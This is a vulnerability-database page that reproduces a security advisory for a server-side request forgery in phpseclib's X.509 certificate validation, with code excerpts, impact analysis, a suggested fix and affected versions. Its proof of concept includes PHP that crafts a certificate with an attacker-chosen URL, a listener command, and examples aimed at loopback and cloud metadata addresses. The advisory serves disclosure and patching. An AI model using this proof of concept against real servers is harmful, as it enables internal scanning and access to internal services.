How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

352,427

Total vulnerabilities in the database

phpseclib: X.509 certificate validation sends attacker-controlled outbound requests (server-side request forgery) via Authority Information Access — phpseclib / phpseclib

Server-Side Request Forgery (SSRF)

Summary

When an application validates an untrusted X.509 certificate with phpseclib, X509::validateSignature() reads a URL out of that certificate's Authority Information Access (AIA) extension and connects to it. Attacker who supplies certificate fully controls host, port, and path of that connection. URL fetching is enabled by default, and no destination is blocked. An unauthenticated attacker can therefore make a validating server open connections to internal hosts and ports it should never reach, for example loopback 127.0.0.1, cloud metadata address 169.254.169.254, and internal-only services. This is a server-side request forgery (SSRF) caused by an insecure default. It is reproducible on current released LTS 3.0.53 and on 4.0 development line.

Details

When no already-trusted certificate authority is the issuer of certificate under validation, validateSignatureCountable() continues to AIA fetching. Default for validateSignature() is caonly = true:

// phpseclib/File/X509.php:1316-1327 (4.0 development line, commit 74ada1a6)
if (!isset($signingCert)) {
    if ($caonly) {
        return $this-&gt;testForIntermediate(true, $count) &amp;&amp; $this-&gt;validateSignature(true);
    } else {
        try {
            $this-&gt;testForSelfSigned();
            $signingCert = $this;
        } catch (BadMethodCallException) {
            return $this-&gt;testForIntermediate(true, $count) &amp;&amp; $this-&gt;validateSignature(true);
        }
    }
}

testForIntermediate() takes URL straight out of certificate's AIA caIssuers field and fetches it. Value comes directly from certificate content and is never restricted:

// phpseclib/File/X509.php:1357-1391 (4.0 development line)
$opts = $this-&gt;getExtension(&#039;id-pe-authorityInfoAccess&#039;);
...
foreach ($opts[&#039;extnValue&#039;] as $opt) {
    if ($opt[&#039;accessMethod&#039;] == &#039;id-ad-caIssuers&#039;) {
        if (isset($opt[&#039;accessLocation&#039;][&#039;uniformResourceIdentifier&#039;])) {
            $url = (string) $opt[&#039;accessLocation&#039;][&#039;uniformResourceIdentifier&#039;]; // attacker controlled
            break;
        }
    }
}
...
$cert = static::fetchURL($url); // server-side request forgery

fetchURL() connects to attacker host and port. There is no destination validation: no block on loopback, link-local, private, or metadata ranges, and no port restriction:

// phpseclib/File/X509.php:1456-1476 (4.0 development line)
private static function fetchURL(string $url): ?string
{
    if (self::$disable_url_fetch) {  // default false, so fetching happens
        return null;
    }
    $parts = parse_url($url);
    switch ($parts[&#039;scheme&#039;]) {
        case &#039;http&#039;:
            $fsock = @fsockopen($parts[&#039;host&#039;], $parts[&#039;port&#039;] ?? 80); // attacker host and port
            ...
            fputs($fsock, &quot;GET $path HTTP/1.0\r\n&quot;);
            fputs($fsock, &quot;Host: $parts[host]\r\n\r\n&quot;);

Fetching is on by default:

// phpseclib/File/X509.php:110 (4.0 development line)
private static bool $disable_url_fetch = false;

Same default-enabled logic exists in released 3.0.x. In 3.0.53 it sits at $disable_url_fetch = false on line 255 and fsockopen($parts['host'], ...) on line 1136 of phpseclib/File/X509.php.

Why this is a vulnerability and not merely a feature. AIA chasing is a legitimate capability described by RFC 4325, and this report does not claim fetching is wrong in itself. Vulnerability is the combination of three properties that together match definition of SSRF:

URL comes from untrusted input. It is read out of certificate that an application is trying to validate, which is exactly the data an attacker controls.
Fetching is enabled by default. An integrator who simply calls validateSignature() gets outbound requests with no opt-in. Only control, X509::disableURLFetch(), is off by default, so secure behaviour requires knowing about and calling a method that most callers never see.
No destination is restricted. Loopback, private ranges, link-local metadata, and arbitrary ports are all reachable. Mature implementations of AIA fetching restrict destinations precisely to prevent this.

Reachability is not narrow. Fetch triggers whenever certificate's issuer is not already trusted, which an attacker arranges trivially by choosing any issuer name that is not in trust store. Having certificate authorities loaded does not protect a target: an attacker certificate that claims an unknown issuer still reaches testForIntermediate().

Response handling is blind. Fetched body is used only if it parses as a certificate, and is otherwise discarded, so an attacker does not directly read internal responses through this path. That limits confidentiality impact but does not remove request-forgery and reconnaissance capability.

PoC

Two reproductions follow: current released LTS 3.0.53, and 4.0 development line. Malicious certificate is plain PEM and is identical for both, since certificate format is the same across versions.

Build malicious certificate once (this uses 4.0 to build, but any tool that emits an X.509 certificate with an AIA caIssuers URL works):

composer require phpseclib/phpseclib:4.0.x-dev

&lt;?php
require &#039;vendor/autoload.php&#039;;

use phpseclib4\Crypt\RSA;
use phpseclib4\File\X509;

$url = &#039;http://127.0.0.1:19090/ssrf&#039;;

$key  = RSA::createKey(2048)-&gt;withPadding(RSA::SIGNATURE_PKCS1)-&gt;withHash(&#039;sha256&#039;);
$cert = new X509($key-&gt;getPublicKey());
$cert-&gt;addDNProp(&#039;id-at-commonName&#039;, &#039;attacker-leaf.example&#039;);
$cert-&gt;setEndDate(&#039;lifetime&#039;);
$cert-&gt;setExtension(&#039;id-pe-authorityInfoAccess&#039;, [
    [&#039;accessMethod&#039; =&gt; &#039;id-ad-caIssuers&#039;,
     &#039;accessLocation&#039; =&gt; [&#039;uniformResourceIdentifier&#039; =&gt; $url]],
]);
$key-&gt;sign($cert);
file_put_contents(&#039;attacker_cert.pem&#039;, (string) $cert);

Stand up a listener that represents an internal service on a port that is not otherwise reachable from outside:

php -r &#039;$s=stream_socket_server(&quot;tcp://127.0.0.1:19090&quot;,$e,$m);$c=stream_socket_accept($s,20);echo fread($c,4096);&#039;

Reproduction on released LTS 3.0.53. Install it and have an application validate certificate:

composer require phpseclib/phpseclib:~3.0.0

&lt;?php
require &#039;vendor/autoload.php&#039;;

use phpseclib3\File\X509;

$v = new X509();
$v-&gt;loadX509(file_get_contents(&#039;attacker_cert.pem&#039;));
$v-&gt;validateSignature();   // connects to 127.0.0.1:19090 during validation

Reproduction on 4.0 development line. Same certificate, 4.0 namespace:

&lt;?php
require &#039;vendor/autoload.php&#039;;

use phpseclib4\File\X509;

X509::clearCAStore();      // attacker cert issuer is not trusted
$v = X509::load(file_get_contents(&#039;attacker_cert.pem&#039;));
$v-&gt;validateSignature();   // connects to 127.0.0.1:19090 during validation

Observed result, on both 3.0.53 and 4.0.x-dev. Listener receives a request whose host, port, and path all come from certificate, even though validateSignature() returns false:

GET /ssrf HTTP/1.0
Host: 127.0.0.1

This was also confirmed end to end over HTTP: an unauthenticated POST of certificate to an endpoint that calls loadX509() then validateSignature() makes server connect outbound to attacker-chosen 127.0.0.1:19090. Changing host and port in certificate reaches any internal address and port, for example 169.254.169.254 or 127.0.0.1:6379.

Negative control. With X509::disableURLFetch() set before validation, validation returns false and no outbound connection is made. This confirms both root cause and that default-on behaviour is the trigger.

Impact

This is a server-side request forgery (CWE-918) caused by an insecure default (CWE-276): URL fetching is enabled by default and applies no destination restrictions while acting on untrusted certificate content.

An application is affected when it validates an attacker-influenced certificate, which covers client-certificate checks implemented in PHP, S/MIME and CMS signer verification, document and code-signing validation, and any feature that verifies an uploaded or pasted certificate. No authentication and no user interaction are needed.

What an attacker gains:

Internal reconnaissance and port scanning. Connection success or failure and timing reveal which internal hosts and ports respond.
Interaction with internal-only HTTP services such as admin panels, dashboards, and webhooks bound to loopback or private ranges.
Requests to cloud metadata endpoints such as 169.254.169.254, which answer plain HTTP GET on some providers.

Because fetch is blind, an attacker does not read internal response bodies through this path directly, so this is a request-forgery and reconnaissance primitive rather than direct disclosure of internal data. Any reflective sink elsewhere in an application, or any internal endpoint that performs an action on a GET, increases real impact.

Suggested fix, strongest first: default disableURLFetch to true so AIA chasing is opt-in; if it stays enabled, validate destinations inside fetchURL() by rejecting loopback, link-local, and private addresses and restricting ports, and add an egress policy callback similar to existing setCRLLookupCallback(); and state plainly in documentation that validating an untrusted certificate can cause outbound requests to URLs found inside that certificate.

Published: Jun 16, 2026
Updated: Jun 17, 2026
GHSA: GHSA-m557-wrgg-6rp4
Severity: Medium
Exploit:
CISA KEV:

CVSS v3:

Severity: Medium
Score: 5.8
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

CWEs:

CWE-918

Affected Software
References

Software	From	Fixed in
phpseclib / phpseclib	0.1.1	1.0.30
phpseclib / phpseclib	2.0.0	2.0.55
phpseclib / phpseclib	3.0.0	3.0.54

https://github.com/phpseclib/phpseclib/security/advisories/GHSA-m557-wrgg-6rp4

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.